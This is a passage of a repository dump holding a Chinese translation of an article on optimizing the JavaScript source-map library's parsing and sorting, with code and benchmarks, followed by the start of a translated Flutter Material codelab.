优化到相同的水准会更加困难。\n\n我对比了两个版本，一个是将字符串编码为 utf8 的版本，另一个是使用预编码字符串的版本。用后面的这个“优化”版本，我想评估一下，通过数组 ⇒ 字符串 ⇒ 数组的转化，可以给我们带来多少的性能提升。“优化”版本的实现方式是我们将 source map 以加载到数组缓冲区，直接从该缓冲区解析它，而不是先把它转为字符串。\n\n```\nlet encoder = new TextEncoder();\nfunction decodeNoCachingNoString(aStr) {\n    decodeNoCachingNoStringPreEncoded(encoder.encode(aStr));\n}\n\nfunction decodeNoCachingNoStringPreEncoded(arr) {\n    var length = arr.length;\n    var cachedSegments = {};\n    var end, str, segment, temp = {value: 0, rest: 0};\n    const decode2 = base64VLQ.decode2;\n\n    var index = 0, value;\n    var segment = new Int32Array(5);\n    var segmentLength = 0;\n    while (index < length) {\n    segmentLength = 0;\n    while (arr[index] != 59 && arr[index] != 44) {\n        decode2(arr, index, temp);\n        value = temp.value;\n        index = temp.rest;\n        if (segmentLength < 5) {\n        segment[segmentLength++] = value;\n        }\n    }\n\n    if (segmentLength === 2) {\n        throw new Error('Found a source, but no line and column');\n    }\n\n    if (segmentLength === 3) {\n        throw new Error('Found a source and line, but no column');\n    }\n\n    index++;\n    }\n}\n```\n\n下面是我在 Chrome Dev`66.0.3343.3`（V8`6.6.189`）和 Firefox Nightly`60.0a1` 中运行我的基准测试得到的结果(2018-02-11)：\n\n![不同的解码](https://mrale.ph/images/2018-02-03/different-decodes.png)\n\n注意几点：\n\n* 在 V8 和 SpiderMonkey 上，使用缓存的版本比的其他版本都要慢。随着缓存数量的增加，其性能急剧下降 — 而无缓存版本的性能不会受此影响；\n* 在 SpiderMonkey 上，将字符串转换为类型化数组再去解析是有利的，而在 V8 上直接字符访问的速度就已经足够快了 - 所以只有在把将字符串到数组的转换移出基准的情况下，使用数组是有利的。（例如，你将你的数据一开始就加载到类型数组中）\n\n我很怀疑 V8 团队近年来没有改进过 `charCodeAt` 的性能 — 我清楚地记得 Crankshaft 没有花费力气把 `charCodeAt` 作为特定字符串的调用方法，反而是将其扩大到所有以字符串表示的代码块都能使用，使得从字符串加载字符比从类型数组加载元素慢。\n\n我浏览了 V8 问题跟踪器，发现了下面几个问题：\n\n* [Issue 6391: StringCharCodeAt slower than Crankshaft](https://bugs.chromium.org/p/v8/issues/detail?id=6391);\n* [Issue 7092: High overhead of String.prototype.charCodeAt in typescript test](https://bugs.chromium.org/p/v8/issues/detail?id=7092);\n* [Issue 7326: Performance degradation when looping across character codes of a string](https://bugs.chromium.org/p/v8/issues/detail?id=7326);\n\n这些问题的评论当中，有些引用了 2018 年 1 月末以后的提交版本，这表明正在积极地进行 `charCodeAt` 的性能改善。出于好奇，我决定在 Chrome Beta 版本中重新运行我的基准测试，并与 Chrome Dev 版本进行比较。\n\n![Different Decodes](https://mrale.ph/images/2018-02-03/different-decodes-v8s.png)\n\n事实上，通过比较可以发现 V8 团队的所有提交都是卓有成效的：`charCodeAt` 的性能从“6.5.254.21”版本到“6.6.189”版本得到了很大提高。 通过对比“无缓存”和“使用数组”的代码行，我们可以看到，在老版本的 V8 中，charCodeAt 的表现差很多，所以只是将字符串转换为“Uint8Array”来加快访问速度就可以带来效果。然而，在新版本的 V8 中，只是在解析内部进行这种转换的话，并不能带来任何效果。\n\n但是，如果您可以不通过转换，就能直接使用数组而不是字符串，那么就会带来性能的提升。 这是为什么呢？ 为了解答这个问题，我在 V8 运行以下代码：\n\n```\nfunction foo(str, i) {\n    return str.charCodeAt(i);\n}\n\nlet str = \"fisk\";\n\nfoo(str, 0);\nfoo(str, 0);\nfoo(str, 0);\n%OptimizeFunctionOnNextCall(foo);\nfoo(str, 0);\n```\n\n```\n╭─ ~/src/v8/v8 ‹master›\n╰─$ out.gn/x64.release/d8 --allow-natives-syntax --print-opt-code --code-comments x.js\n```\n\n这个命令产生了一个[巨大的程序集列表](https://gist.github.com/mraleph/a1f36a67676a8dfef0af081f27f3eb6a)，这个证实了我的怀疑，V8 的 “charCodeAt” 仍然没有针对特定的字符串进行特殊处理。这种弱点似乎源自 V8 中的[这个代码](https://github.com/v8/v8/v8/blob/de7a3174282a48fab9c167155ffc8ff20c37214d/src/compiler/effect-control-linearizer.cc#L2687-L2826)，它可以解释为什么数组访问速度快于字符串的 `charCodeAt` 的处理。\n\n## 解析改进\n\n基于这些发现，我们可以从 `source-map` 解析代码中删除被解析分段的缓存，再测试影响效果。\n\n![解析和排序时间](https://mrale.ph/images/2018-02-03/parse-sort-1.png)\n\n就像我们的基准测试预测的那样，缓存对整体性能是不利的：删除它可以大大提升解析时间。\n\n## 优化排序 - 算法改进\n\n现在我们改进了解析性能，让我们再看一下排序。\n\n有两个正在排序的数组：\n\n1. `originalMappings` 数组使用 `compareByOriginalPositions` 比较器进行排序；\n2. `generatedMappings` 数组使用 `compareByGeneratedPositionsDeflated` 比较器进行排序。\n\n### 优化 `originalMappings` 排序\n\n我首先看了一下 `compareByOriginalPositions`。\n\n```\nfunction compareByOriginalPositions(mappingA, mappingB, onlyCompareOriginal) {\n    var cmp = strcmp(mappingA.source, mappingB.source);\n    if (cmp !== 0) {\n    return cmp;\n    }\n\n    cmp = mappingA.originalLine - mappingB.originalLine;\n    if (cmp !== 0) {\n    return cmp;\n    }\n\n    cmp = mappingA.originalColumn - mappingB.originalColumn;\n    if (cmp !== 0 || onlyCompareOriginal) {\n    return cmp;\n    }\n\n    cmp = mappingA.generatedColumn - mappingB.generatedColumn;\n    if (cmp !== 0) {\n    return cmp;\n    }\n\n    cmp = mappingA.generatedLine - mappingB.generatedLine;\n    if (cmp !== 0) {\n    return cmp;\n    }\n\n    return strcmp(mappingA.name, mappingB.name);\n}\n```\n\n我注意到，映射首先由 `source` 组件进行排序，然后再由其他组件处理。`source` 指定映射最先来自哪个源文件。一个显而易见的想法是，我们可以将 `originalMappings` 变成数组的集合：`originalMappings [i]` 是包含第 i 个源文件所有映射的数组，而不再使用巨大的 `originalMappings` 数组直接将来自不同源文件的映射混在一起。通过这种方式，我们可以把从源文件解析出来的映射排序存到不同的 `originalMappings [i]` 数组中，然后对单个较小的数组再进行排序。\n\n实际上是个[桶排序]（https://en.wikipedia.org/wiki/Bucket_sort）\n\n这是我们在解析循环中做的：\n\n```\nif (typeof mapping.originalLine === 'number') {\n    // This code used to just do: originalMappings.push(mapping).\n    // Now it sorts original mappings already by source during parsing.\n    let currentSource = mapping.source;\n    while (originalMappings.length <= currentSource) {\n    originalMappings.push(null);\n    }\n    if (originalMappings[currentSource] === null) {\n    originalMappings[currentSource] = [];\n    }\n    originalMappings[currentSource].push(mapping);\n}\n```\n\n在那之后：\n\n```\nvar startSortOriginal = Date.now();\n// The code used to sort the whole array:\n//     quickSort(originalMappings, util.compareByOriginalPositions);\nfor (var i = 0; i < originalMappings.length; i++) {\n    if (originalMappings[i] != null) {\n    quickSort(originalMappings[i], util.compareByOriginalPositionsNoSource);\n    }\n}\nvar endSortOriginal = Date.now();\n```\n\n“compareByOriginalPositionsNoSource”比较器几乎与“compareByOriginalPositions”比较器完全相同，只是它不再比较“source”组件 - 根据我们构造 `originalMappings [i]` 数组的方式，这样可以保证是公平的。\n\n![解析和排序时间](https://mrale.ph/images/2018-02-03/parse-sort-2.png)\n\n这个算法改进可同时提升 V8 和 SpiderMonkey 上的排序速度，还可以改进 V8 上的解析速度。\n\n解析速度的提升是由于处理 `originalMappings` 数组的消降低了：生成一个单一的巨大的 `originalMappings` 数组比生成多个较小的 `originalMappings [i]` 数组要消耗更多。不过，这只是我的猜测，没有经过任何严格的分析。\n\n### 优化 `generatedMappings` 排序\n\n让我们看一下 `generatedMappings` 和 `compareByGeneratedPositionsDeflated` 比较器。\n\n```\nfunction compareByGeneratedPositionsDeflated(mappingA, mappingB, onlyCompareGenerated) {\n    var cmp = mappingA.generatedLine - mappingB.generatedLine;\n    if (cmp !== 0) {\n    return cmp;\n    }\n\n    cmp = mappingA.generatedColumn - mappingB.generatedColumn;\n    if (cmp !== 0 || onlyCompareGenerated) {\n    return cmp;\n    }\n\n    cmp = strcmp(mappingA.source, mappingB.source);\n    if (cmp !== 0) {\n    return cmp;\n    }\n\n    cmp = mappingA.originalLine - mappingB.originalLine;\n    if (cmp !== 0) {\n    return cmp;\n    }\n\n    cmp = mappingA.originalColumn - mappingB.originalColumn;\n    if (cmp !== 0) {\n    return cmp;\n    }\n\n    return strcmp(mappingA.name, mappingB.name);\n}\n```\n\n这里我们首先比较 `generatedLine` 的映射。一般对比原始的源文件，可能会生成更多的行，所以将 `generatedMappings` 分成多个单独的数组是没有意义的。\n\n但是，当我看到解析代码时，我注意到了以下的内容：\n\n```\nwhile (index < length) {\n    if (aStr.charAt(index) === ';') {\n    generatedLine++;\n    // ...\n    } else if (aStr.charAt(index) === ',') {\n    // ...\n    } else {\n    mapping = new Mapping();\n    mapping.generatedLine = generatedLine;\n\n    // ...\n    }\n}\n```\n\n这是代码中唯一出现 `generatedLine` 的地方，这意味着 `generatedLine` 是单调增长的 — 意味着 `generatedMappings` 数组已经被 `generatedLine` 排序了，所以对整个数组排序没有意义。相反，我们可以对每个较小的子数组进行排序。我们把代码改成下面这样：\n\n```\nlet subarrayStart = 0;\nwhile (index < length) {\n    if (aStr.charAt(index) === ';') {\n    generatedLine++;\n    // ...\n\n    // Sort subarray [subarrayStart, generatedMappings.length].\n    sortGenerated(generatedMappings, subarrayStart);\n    subarrayStart = generatedMappings.length;\n    } else if (aStr.charAt(index) === ',') {\n    // ...\n    } else {\n    mapping = new Mapping();\n    mapping.generatedLine = generatedLine;\n\n    // ...\n    }\n}\n// Sort the tail.\nsortGenerated(generatedMappings, subarrayStart);\n```\n\n我没有使用 `快速排序` 来排序子数组，而是决定使用[插入排序](https://en.wikipedia.org/wiki/Insertion_sort)，类似于一些 VM 用于 Array.prototype.sort 的混合策略。\n\n注意：如果输入数组已经排序，插入排序会比快速排序更快...事实证明，用于基准测试的映射实际上是排序过的。如果我们期望 `generatedMappings` 在解析之后几乎都是被排序过的，那么在排序之前先简单地检查 `generatedMappings` 是否已经排序会更有效率。\n\n```\nconst compareGenerated = util.compareByGeneratedPositionsDeflatedNoLine;\n\nfunction sortGenerated(array, start) {\n    let l = array.length;\n    let n = array.length - start;\n    if (n <= 1) {\n    return;\n    } else if (n == 2) {\n    let a = array[start];\n    let b = array[start + 1];\n    if (compareGenerated(a, b) > 0) {\n        array[start] = b;\n        array[start + 1] = a;\n    }\n    } else if (n < 20) {\n    for (let i = start; i < l; i++) {\n        for (let j = i; j > start; j--) {\n        let a = array[j - 1];\n        let b = array[j];\n        if (compareGenerated(a, b) <= 0) {\n            break;\n        }\n        array[j - 1] = b;\n        array[j] = a;\n        }\n    }\n    } else {\n    quickSort(array, compareGenerated, start);\n    }\n}\n```\n\n这产生以下结果：\n\n![解析和排序时间](https://mrale.ph/images/2018-02-03/parse-sort-3.png)\n\n排序时间急剧下降，而解析时间稍微增加 — 这是因为代码将 `generatedMappings` 作为解析循环的一部分进行排序，使得我们的分解略显无意义。让我们对比下改善总时间（解析和排序一起）。\n\n#### 改善总时间\n\n![解析和排序时间](https://mrale.ph/images/2018-02-03/parse-sort-3-total.png)\n\n现在很明显，我们大大提高了整体映射解析性能。\n\n我们还可以做些什么来改善性能吗？\n\n是的：我们可以从 asm.js/WASM 指南中抽出一页，而不用在 JavaScript 代码基础上全部换作使用 Rust。\n\n### 优化解析 - 降低 GC 压力\n\n我们正在分配成千上万的 `Mapping` 对象，这给 GC 带来了相当大的压力 - 然而我们并不是真的需要这样的对象 - 我们可以将它们打包成一个类型数组。这是我的做法。\n\n几年前，我对 [Typed Objects](https://github.com/nikomatsakis/typed-objects-explainer) 提案感到非常兴奋，该提案将允许 JavaScript 程序员定义结构体和结构体数组以及很多令人惊喜的东西，这样很方便。但不幸的是，推动该提案的领导者离开去做其他方面的工作，这让我们不得不要么自己动手，要么使用 C++代码来编写这些东西。\n\n首先，我将 Mapping 从一个普通对象变成一个指向类型数组的一个包装器，它将包含我们所有的映射。\n\n```\nfunction Mapping(memory) {\n    this._memory = memory;\n    this.pointer = 0;\n}\nMapping.prototype = {\n    get generatedLine () {\n    return this._memory[this.pointer + 0];\n    },\n    get generatedColumn () {\n    return this._memory[this.pointer + 1];\n    },\n    get source () {\n    return this._memory[this.pointer + 2];\n    },\n    get originalLine () {\n    return this._memory[this.pointer + 3];\n    },\n    get originalColumn () {\n    return this._memory[this.pointer + 4];\n    },\n    get name () {\n    return this._memory[this.pointer + 5];\n    },\n    set generatedLine (value) {\n    this._memory[this.pointer + 0] = value;\n    },\n    set generatedColumn (value) {\n    this._memory[this.pointer + 1] = value;\n    },\n    set source (value) {\n    this._memory[this.pointer + 2] = value;\n    },\n    set originalLine (value) {\n    this._memory[this.pointer + 3] = value;\n    },\n    set originalColumn (value) {\n    this._memory[this.pointer + 4] = value;\n    },\n    set name (value) {\n    this._memory[this.pointer + 5] = value;\n    },\n};\n```\n\n然后我调整了解析和排序代码，如下所示：\n\n```\nBasicSourceMapConsumer.prototype._parseMappings = function (aStr, aSourceRoot) {\n    // Allocate 4 MB memory buffer. This can be proportional to aStr size to\n    // save memory for smaller mappings.\n    this._memory = new Int32Array(1 * 1024 * 1024);\n    this._allocationFinger = 0;\n    let mapping = new Mapping(this._memory);\n    // ...\n    while (index < length) {\n    if (aStr.charAt(index) === ';') {\n\n        // All code that could previously access mappings directly now needs to\n        // access them indirectly though memory.\n        sortGenerated(this._memory, generatedMappings, previousGeneratedLineStart);\n    } else {\n        this._allocateMapping(mapping);\n\n        // ...\n\n        // Arrays of mappings now store \"pointers\" instead of actual mappings.\n        generatedMappings.push(mapping.pointer);\n        if (segmentLength > 1) {\n        // ...\n        originalMappings[currentSource].push(mapping.pointer);\n        }\n    }\n    }\n\n    // ...\n\n    for (var i = 0; i < originalMappings.length; i++) {\n    if (originalMappings[i] != null) {\n        quickSort(this._memory, originalMappings[i], util.compareByOriginalPositionsNoSource);\n    }\n    }\n};\n\nBasicSourceMapConsumer.prototype._allocateMapping = function (mapping) {\n    let start = this._allocationFinger;\n    let end = start + 6;\n    if (end > this._memory.length) {  // Do we need to grow memory buffer?\n    let memory = new Int32Array(this._memory.length * 2);\n    memory.set(this._memory);\n    this._memory = memory;\n    }\n    this._allocationFinger = end;\n    let memory = this._memory;\n    mapping._memory = memory;\n    mapping.pointer = start;\n    mapping.name = 0x7fffffff;  // Instead of null use INT32_MAX.\n    mapping.source = 0x7fffffff;  // Instead of null use INT32_MAX.\n};\n\nexports.compareByOriginalPositionsNoSource =\n    function (memory, mappingA, mappingB, onlyCompareOriginal) {\n    var cmp = memory[mappingA + 3] - memory[mappingB + 3];  // originalLine\n    if (cmp !== 0) {\n    return cmp;\n    }\n\n    cmp = memory[mappingA + 4] - memory[mappingB + 4];  // originalColumn\n    if (cmp !== 0 || onlyCompareOriginal) {\n    return cmp;\n    }\n\n    cmp = memory[mappingA + 1] - memory[mappingB + 1];  // generatedColumn\n    if (cmp !== 0) {\n    return cmp;\n    }\n\n    cmp = memory[mappingA + 0] - memory[mappingB + 0];  // generatedLine\n    if (cmp !== 0) {\n    return cmp;\n    }\n\n    return memory[mappingA + 5] - memory[mappingB + 5];  // name\n};\n```\n\n正如你所看到的，可读性确实受到了很大影响。理想情况下，我希望在需要处理对应分段时分配临时的“映射”对象。然而，这种代码风格将严重依赖于虚拟机通过_allocation sinking_，_scalar replacement_或其他类似的优化来消除这些临时包装分配的能力。不幸的是，在我的实验中，SpiderMonkey 无法很好地处理这样的代码，因此我选择了更多冗长且容易出错的代码。\n\n这种几乎纯手工进行内存管理的方式在 JS 中是不多见的。这就是为什么我认为在这里值得提出，“oxidized” `source-map` 实际上[需要用户手动管理](https://github.com/mozilla/source-map#sourcemapconsumerprototypedestroy)它的生命周期，以确保 WASM 资源被释放。\n\n重新运行基准测试，证明缓解 GC 压力产生了很好的改善效果。\n\n![重新分配后](https://mrale.ph/images/2018-02-03/parse-sort-4.png)\n \n![重新分配后](https://mrale.ph/images/2018-02-03/parse-sort-4-total.png)\n\n有趣的是，在 SpiderMonkey 上，这种方法对于解析和排序都有改善效果，这对我来说真是一个惊喜。\n\n#### SpiderMonkey 性能断崖\n\n当我使用这段代码时，我还发现了 SpiderMonkey 中令人困惑的性能断崖现象：当我将预置内存缓冲区的大小从 4 MB 增加到 64 MB 来衡量重新分配的消耗时，基准测试显示当进行第 7 次迭代后性能突然下降了。\n\n![重新分配后](https://mrale.ph/images/2018-02-03/parse-sort-5-total.png)\n\n这看起来像某种多态性，但我不能立即就搞明白如何改变数组的大小可以导致这样的多态行为。\n\n我很困惑，但我找到了一个 SpiderMonkey 黑客 [Jan de Mooij](https://twitter.com/jandemooij)，他很快[识别出](https://bugzilla.mozilla.org/show_bug.cgi?id=1437471) 罪魁祸首是 asm.js 从 2012 年开始的相关优化......然后他将它从 SpiderMonkey 中删除，这样就不会有人再遇到这种情况了。\n\n### 优化分析 - 使用 `Uint8Array` 替代字符串。\n\n最后，如果我们使用 `Uint8Array` 代替字符串来解析，我们又可以得到小的改善效果。\n\n![重新分配后](https://mrale.ph/images/2018-02-03/parse-sort-6-total.png)\n\n需要我们重写 `source-map`，直接使用类型数组解析映射而不再使用 JavaScript 的字符串方法 `JSON.decode` 进行解析。我没有做过这样的改写，但我想应该没有什么问题。\n\n### 对基线的总体改进\n\n这是开始的情况：\n\n```\n$ d8 bench-shell-bindings.js\n...\n[Stats samples: 5, total: 24050 ms, mean: 4810 m\ns, stddev: 155.91063145276527 ms]\n$ sm bench-shell-bindings.js\n...\n[Stats samples: 7, total: 22925 ms, mean: 3275 ms, stddev: 269.5999093306804 ms]\n```\n\n这是我们完成时的情况：\n\n```\n$ d8 bench-shell-bindings.js\n...\n[Stats samples: 22, total: 25158 ms, mean: 1143.5454545454545 ms, stddev: 16.59358125226469 ms]\n$ sm bench-shell-bindings.js\n...\n[Stats samples: 31, total: 25247 ms, mean: 814.4193548387096 ms, stddev: 5.591064299397745 ms]\n```\n\n![重新分配后](https://mrale.ph/images/2018-02-03/parse-sort-final.png)\n\n![重新分配后](https://mrale.ph/images/2018-02-03/parse-sort-final-total.png)\n\n这是 4 倍的性能提升！\n\n也许值得注意的是，尽管这并不是必须的，但我们仍然对所有的 `originalMappings` 数组进行了排序。只有两个操作使用到 `originalMappings`：\n\n* `allGeneratedPositionsFor` 它返回给定线的所有生成位置；\n* `eachMapping(..., ORIGINAL_ORDER)` 它按照原始顺序对所有映射进行迭代。\n\n如果我们假设 `allGeneratedPositionsFor` 是最常见的操作，并且我们只在少数 `originalMappings [i]` 数组中搜索，那么无论何时我们需要搜索其中的一个，我们都可以通过对 `originalMappings [i]` 数组进行排序来大大提高解析时间。\n\n最后比较 1 月 19 日的 V8 和 2 月 19 日的 V8 分别对应包含和不包含[减少不可信代码的修改](https://github.com/v8/v8/wiki/Untrusted-code-mitigations)。\n\n![重新分配后](https://mrale.ph/images/2018-02-03/parse-sort-v8-vs-v8-total.png)\n\n### 比较 Oxidized `source-map` 版本\n\n继 2 月 19 日发布这篇文章之后，我收到一些反馈要求将我改进的 `source-map` 与使用 Rust 和 WASM 的主线的 Oxidized `source-map` 相比较。\n\n快速查看 [`parse_mappings`](https://github.com/fitzgen/source-map-mappings/blob/master/src/lib.rs#L499-L566) 的 Rust 源代码，发现 Rust 版本没有排序原始映射，只会生成等价的 `generatedMappings` 并且排序。为了匹配这种行为，我通过注释掉 `originalMappings [i]` 数组的排序来调整我的 JS 版本。\n\n这里是仅仅是解析的对比结果（其中还包括对 `generatedMappings` 进行排序），然后对所有 `generatedMappings` 进行解析和迭代。\n\n![只有解析时间](https://mrale.ph/images/2018-02-03/parse-only-rust-wasm-vs-js.png)\n\n![解析和迭代次数](https://mrale.ph/images/2018-02-03/parse-iterate-rust-wasm-vs-js.png)\n\n**请注意，这个对比有点误导，因为 Rust 版本并未像我的 JS 版本那样优化 `generatedMappings` 的排序。**\n\n因此，我不会说，“我们已经成功达到 Rust+WASM 版本的水平”。但是，在这样成都的性能差异水准下，我们可能需要重新评估在 `source-map` 中使用如此复杂的 Rust 是否是真正值得的。\n\n#### 更新（2018 年 2 月 27 日）\n\n`source-map` 的作者 Nick Fitzgerald 把本文描述的算法[已更新](http://fitzgeraldnick.com/2018/02/26/speed-without-wizardry.html)到 Rust+WASM 的版本。以下是解析和迭代的对比性能图表：\n\n![解析和迭代次数](https://mrale.ph/images/2018-02-03/parse-iterate-rust-wasm-vs-js-2.png)\n\n正如你可以看到 WASM+Rust 版本在 SpiderMonkey 上的速度现在增加了大约 15％，而在 V8 上的速度也大致相同。\n\n### 学习\n\n#### 对于 JavaScript 开发人员\n\n##### 分析器是你的朋友\n\n以各种形式进行分析和性能跟踪是获得高性能的最佳方法。它允许您在代码中放置热点，来揭示运行时的潜在问题。基于这个原因，不要回避使用像 perf 这样的底层分析工具 - “友好”的工具可能不会告诉你整个状况，因为它们隐藏了底层的分析。\n\n不同的性能问题需要不同的方法去分析并能够可视化地去收集分析结果。一定确保您熟悉各种可用的工具。\n\n##### 算法很重要\n\n能够根据抽象复杂性来推理你的代码是一项重要的技能。快速排序一个具有十万个元素的数组好呢？还是快速排序 3333 个数组，每个子数组有 30 元素更好呢？\n\n数学计算可以告诉我们（（100000 log 100000）比（3333 倍的 30 log 30）大 3 倍）- 如果数据量越大，通常能够数学变换就会变得越重要。\n\n除了了解对数之外，你还需要知道一些常识，并且能够评估你的代码在平均和最糟糕的情况下的使用情况：哪些操作很常见，昂贵的运算成本如何摊销，昂贵的运算摊销带来的坏处是什么？\n\n##### 虚拟机也在工作。问题开发者！\n\n不要犹豫，与开发人员讨论奇怪的性能问题。并非所有事情都可以通过改变自己的代码来解决。俄国谚语说道：“制作罐子的不是上帝！”虚拟机开发人员也是人，他们也一样会犯错误。只要把问题理清，他们也相当擅长把这些问题修复。一封邮件或或一个聊天消息或 DM 可能为您节省通过外部 C++ 代码进行调试的时间。\n\n##### 虚拟机仍然需要一点帮助\n\n有时候您也需要编写一些底层代码或者了解一些底层的实现细节，这样有助于挖掘 JavaScript 的最后一丝性能。\n\n人们可能希望有更好的语言级别的工具来实现这一点，但是我们能不能实现还有待观察。\n\n#### 对于语言实现者/设计者\n\n##### 巧妙的优化必须是可检测的\n\n如果您的运行时具有任何内置的智能优化，那么您需要提供一个直观的工具来诊断这些优化失败的时间并向开发人员提供可操作的反馈。\n\n在 JavaScript 这样的语言环境中，至少有像 profiler 这样的分析工具为您单个操作提供一种专业化方法来检测，以确定虚拟机优化的结果是好是坏并且指出原因。\n\n这种排序的自检工具不能依赖于在虚拟机的某个版本上打个特殊的补丁，然后输出一堆毫无可读性的调试结果。相反，它应该是你需要的任何时候，只要打开调试工具窗口，它就能把结果呈现出来。\n\n##### 语言和优化必须是朋友\n\n最后，作为一名语言设计师，您应该尝试预测语言缺乏哪些特性，从而更容易编写出性能良好的代码。市场上的用户是否需要手动设置和管理内存？我确定他们是的。如果大多数人使用了您的语言最后都写出大量性能很低的代码，那就只能通过添加大量的语言特性或者通过其他途径来提升代码的性能。（例如，通过更复杂的优化或请求用户用 Rust 重构代码）\n\n以下是一些语言设计的通用法则：如果要为您的语言添加新特性，请确保运算过程的合理性，而且这些特性很容易被理解和检测。从整个语言层面去考虑优化工作，而不是对一些使用频率很低、性能相对较差的非核心特性去做优化工作。\n\n### 后记\n\n我们在这篇文章中发现的优化大致分成三个部分：\n\n1. 算法改进；\n2. 如何优化完全独立的代码和有潜在依赖关系的代码；\n3. 针对 V8 的优化方法。\n\n无论您使用哪种编程语言，都需要考虑到算法性能。当您在本身就“比较慢”的编程语言中使用糟糕的算法时，您能更容易的注意到这一点，但是如果只是换成使用“比较快”的编程语言，还继续使用相同的算法，即使问题会有所缓解，但依然无法从根本上解决问题。这篇文章中的很大一部分内容都致力于这个部分的优化：\n\n* 对子数组排序优化效果要优于对整个数组进行排序优化；\n* 讨论使用或者不使用缓存的优缺点。\n\n第二部分是单态性。由于多态性而导致的性能降低不是 V8 特有的问题。这也不是一个 JS 特有的问题。您可以通过不同的实现方式，甚至跨语言的去应用单态。有些语言（Rust，实际上）已经在引擎内为您实现。\n\n最后一个也是最有争议的部分是参数适配问题。\n\n最后，使用映射表示法进行的优化（将单个对象封装到单个类型数组中）横跨了文中提及的三个部分。这是建立在对 GCed 系统的局限性和性能花销，以及 JS 虚拟机作了哪些特殊优化的基础上进行的。\n\n所以... 为什么我选择了这个标题？这是因为我坚信第三部分涉及的问题都会随着时间的推移而被修复。其他部分可通过常用编程语言进行跨语言实现。\n\n很显然，每个开发人员和每个团队都可以自由的去选择，到底是花费 N 小时去分析，阅读和思考他们的 JavaScript 代码，还是花费 `M` 小时用 `X` 语言重写他们的东西。\n\n但是：（a）每个人都需要充分意识到这种选择是存在的;（b）语言设计者和实现者应该共同努力使这样的选择越来越不明显 - 也就是说在语言特征和工具方面开展工作，减少“第 3 部分”优化的需求。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/mdc-102-flutter.md",
    "content": "> * 原文地址：[MDC-102 Flutter: Material Structure and Layout (Flutter)](https://codelabs.developers.google.com/codelabs/mdc-102-flutter)\n> * 原文作者：[codelabs.developers.google.com](https://codelabs.developers.google.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/mdc-102-flutter.md](https://github.com/xitu/gold-miner/blob/master/TODO1/mdc-102-flutter.md)\n> * 译者：[DevMcryYu](https://github.com/devmcryyu)\n> * 校对者：[Rickon](https://github.com/gs666)\n\n# MDC-102 Flutter：Material 结构和布局（Flutter）\n\n## 1. 介绍\n\n![](https://lh4.googleusercontent.com/yzZPYGHe5CrFE-84MXhqwb_y7YjCKLWQJHI7W7zqbT9_qdK8qufFjx51kepr3ITvZtF7vD3d72nurt-HPBARmQ6RF74PD1FwGZMNbXphLap4LqIEBCKWP5OxK2Vjeo-YEY3-oeIP)Material Components（MDC）帮助开发者实现 Material Design。MDC 由谷歌团队的工程师和 UX 设计师创造，为 Android、iOS、Web 和 Flutter 提供很多美观实用的 UI 组件。\n\nmaterial.io/develop\n\n在教程 [MDC-101](https://codelabs.developers.google.com/codelabs/mdc-101-flutter) 中，你使用了两个 Material 组件：文本框和墨水波纹效果的按钮来构建一个登陆页面。现在让我们通过添加导航、结构和数据来拓展应用。\n\n### 你将要构建\n\n在本教程中,你将为 **Shrine** ——  一个销售服装和家居用品的电子商务应用程序构建一个主页面。它将含有：\n\n*   一个位于顶部的应用栏\n*   一个由产品填充的网格列表\n\n![](https://codelabs.developers.google.com/codelabs/mdc-102-flutter/img/532fe80b3fa3db74.png)\n\n> 这是四篇教程里的第二篇，它将引导你为 Shrine 的产品构建应用程序。我们建议你按照教程的顺序一步一步地编写你的代码。\n>\n> 相关的教程可以在以下位置找到：\n>\n> *   [MDC-101: Material Components（MDC）基础](https://github.com/xitu/gold-miner/blob/master/TODO1/mdc-101-flutter.md)\n> *   [MDC-103: Material Design Theming 的颜色、形状、高度和类型](https://github.com/xitu/gold-miner/blob/master/TODO1/mdc-103-flutter.md)\n> *   [MDC-104: Material Design 高级组件](https://github.com/xitu/gold-miner/blob/master/TODO1/mdc-104-flutter.md)。\n>\n> 到 MDC-104 的最后，你将会构建一个像这样的应用：\n>\n> ![](https://codelabs.developers.google.com/codelabs/mdc-102-flutter/img/e23a024b60357e32.png)\n\n### 将要用到的 MDC 组件\n\n*   顶部应用栏（Top app bar）\n*   网格（Grid）\n*   卡片（Card）\n\n> 本教程中，你将使用 MDC-Flutter 提供的默认组件。你将会在 [MDC-103: Material Design Theming 的颜色、形状、高度和类型](https://codelabs.developers.google.com/codelabs/mdc-103-flutter)中学习如何定制它们。\n\n### 你将需要\n\n*   [Flutter SDK](https://flutter.io/setup/)\n*   安装好 Flutter 插件的 Android Studio，或者你喜欢的代码编辑器\n*   示例代码\n\n#### 要在 iOS 上构建和运行 Flutter 应用程序，你需要满足以下要求：\n\n*   运行 macOS 的计算机\n*   Xcode 9 或更新版本\n*   iOS 模拟器，或者 iOS 物理设备\n\n#### 要在 Android 上构建和运行 Flutter 应用程序，你需要满足以下要求：\n\n*   运行 macOS、Windows 或 Linux 的计算机\n*   Android Studio\n*   Android 模拟器（随 Android Studio 一起提供）或 Android 物理设备\n\n## 2. 安装 Flutter 环境\n\n### 前提条件\n\n要开始使用 Flutter 开发移动应用程序，你需要：\n\n*   [Flutter SDK](https://flutter.io/setup/)\n*   装有 Flutter 插件的 IntelliJ IDE，或者你喜欢的代码编辑器\n\nFlutter 的 IDE 工具适用于 [Android Studio](https://developer.android.com/studio/index.html)、[IntelliJ IDEA Community（免费）和 IntelliJ IDEA 